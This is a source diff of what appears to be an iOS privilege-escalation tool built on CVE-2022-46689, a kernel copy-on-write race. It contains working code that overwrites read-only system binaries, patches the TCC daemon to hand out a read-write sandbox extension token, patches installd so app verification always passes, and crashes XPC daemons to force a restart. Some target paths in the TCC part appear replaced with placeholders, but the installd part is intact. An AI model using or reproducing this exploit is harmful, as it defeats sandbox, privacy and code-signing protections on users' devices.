xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct fda_offsets {
uint64_t of_addr_com_apple_tcc_;
uint64_t offset_pad_space_for_rw_string;
uint64_t of_addr_s_kTCCSML;
uint64_t of_auth_got_sb_init;
uint64_t of_return_0;
bool is_arm64e;
};
static bool pchfind_sections(void* execmap,
struct segment_command_64** data_seg,
struct symtab_command** stabout,
struct dysymtab_command** dystabout) {
struct mach_header_64* executable_header = execmap;
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_seg = segment;
}
break;
}
case LC_SYMTAB: {
*stabout = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dystabout = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
void* str_offset = memmem(em, el, n, strlen(n) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - em;
for (int i = 0; i < el; i += 8) {
uint64_t val = *(uint64_t*)(em + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t pchfind_return_0(void* exmp, size_t el) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
if (!offset) {
return 0;
}
return offset - exmp;
}
static uint64_t pchfind_got(void* ecm, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool pchfind(void* execmap, size_t executable_length,
struct fda_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->of_addr_com_apple_tcc_ =
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
// printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_pad_space_for_rw_string =
pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
// printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->of_auth_got_sb_init =
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
// printf("no sandbox_init\n");
return false;
}
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
0) {
// printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = execmap;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
//TODO WARNING REPLACE com.apple.tccd
xpc_connection_t connection = xpc_connection_create_mach_service(
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
// NSLog(@"event handler (xpc): %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
// "target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
// NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
//object is nil???
// NSLog(@"wqfewfw9");
completion(nil);
return;
}
//response:
// NSLog(@"qwdqwd%@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
// NSLog(@"xpc error?");
completion(nil);
return;
}
//debug description:
// NSLog(@"wqdwqu %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
struct fda_offsets offsets = {};
if (!pchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
}
{
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase tRBase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.of_addr_s_kTCCSML);
tRBase.target = offsets.offset_pad_space_for_rw_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.of_addr_s_kTCCSML) =
tRBase;
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.of_auth_got_sb_init) =
tRBase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase tRBase = {
.bind = 0,
.next = 2,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
tRBase;
}
return data;
}
static bool over_write_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unalign_csr(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_fda_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
char* targetPath = "/Nope";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
targetPath = "/Nope";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
// crash_with_xpc_thingy("com.apple.tccd");
sleep(1);
call_tcc_daemon(^(NSString* _Nullable extension_token) {
over_write_file(fd, originalData);
// crash_with_xpc_thingy("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"no extension token returned."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_fda(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct daemon_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - execmap;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(execmap + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(execmap + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - execmap;
}
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
struct daemon_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
pchfind_find_rwt_base_methods(execmap, executable_length,
"MIInstallableBundle")) == 0) {
// printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(execmap +
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
0) {
// printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
struct daemon_remove_app_limit_offsets offsets = {};
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool installdaemon_patch() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
if (!sourceData) {
//can't patchfind
// NSLog(@"wuiydqw98uuqwd");
return false;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
//can't overwrite
// NSLog(@"wfqiohuwdhuiqoji");
return false;
}
munmap(targetMap, targetLength);
crash_with_xpc_thingy("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
// over_write_file(fd, originalData);
return true;
}

View File

@@ -0,0 +1,12 @@
#ifndef helpers_h
#define helpers_h
char* get_temporary_file_location_paths(void);
void test_nsexpressions(void);
char* setup_temporary_file(void);
void crash_with_xpc_thingy(char* service_name);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */

View File

@@ -0,0 +1,139 @@
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temporary_file_location_paths(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* setup_temporary_file(void) {
char* path = get_temporary_file_location_paths();
// printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
// printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct x_p_c_w_zerozero_t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
//a=port right extraction failed: %s\n
// printf("PREFail: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
//made so: 0x%x from recv: 0x%x\n
// printf("ms 0x%x fr: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void crash_with_xpc_thingy(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
//unable to look up
// printf("utluqwd %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
//bad service port
// printf("wih1221udq\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("padiuhewi %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
//port right insertion failed:
// printf("weediuwe %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("wuiq21d %s\n", mach_error_string(err));
return;
}
struct x_p_c_w_zerozero_t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
//w00t message send failed:
// printf("ondwehu %s\n", mach_error_string(err));
return;
} else {
//sent xpc w00t message\n
// printf("wq98ywqe");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}

View File

@@ -0,0 +1,370 @@
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
//vm_unaligned_copy_switch_race
#include "vm_unalign_csr.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct contextual_structure {
vm_size_t ob_sizing;
vm_address_t vmaddress_zeroe;
mach_port_t memory_entry_r_o;
mach_port_t memory_entry_r_w;
dispatch_semaphore_t currently_active_sem;
pthread_mutex_t mutex_thingy;
volatile bool finished;
};
//switcheroo_thread
static void *
sro_thread(__unused void *arg)
{
kern_return_t kr;
struct contextual_structure *ctx;
ctx = (struct contextual_structure *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->currently_active_sem);
while (!ctx->finished) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mutex_thingy);
if (ctx->finished) {
pthread_mutex_unlock(&ctx->mutex_thingy);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_w,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mutex_thingy);
usleep(100);
}
return NULL;
}
//unaligned_copy_switch_race
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct contextual_structure context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->ob_sizing = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
if (file_mapped == MAP_FAILED) {
// fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
// fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->ob_sizing);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->vmaddress_zeroe = 0;
ctx->currently_active_sem = dispatch_semaphore_create(0);
//c=dispatch_semaphore_create
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->finished = false;
ctx->memory_entry_r_w = MACH_PORT_NULL;
ctx->memory_entry_r_o = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->ob_sizing);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->ob_sizing,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
//c= wrong mem_entry size
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->ob_sizing * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->ob_sizing * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
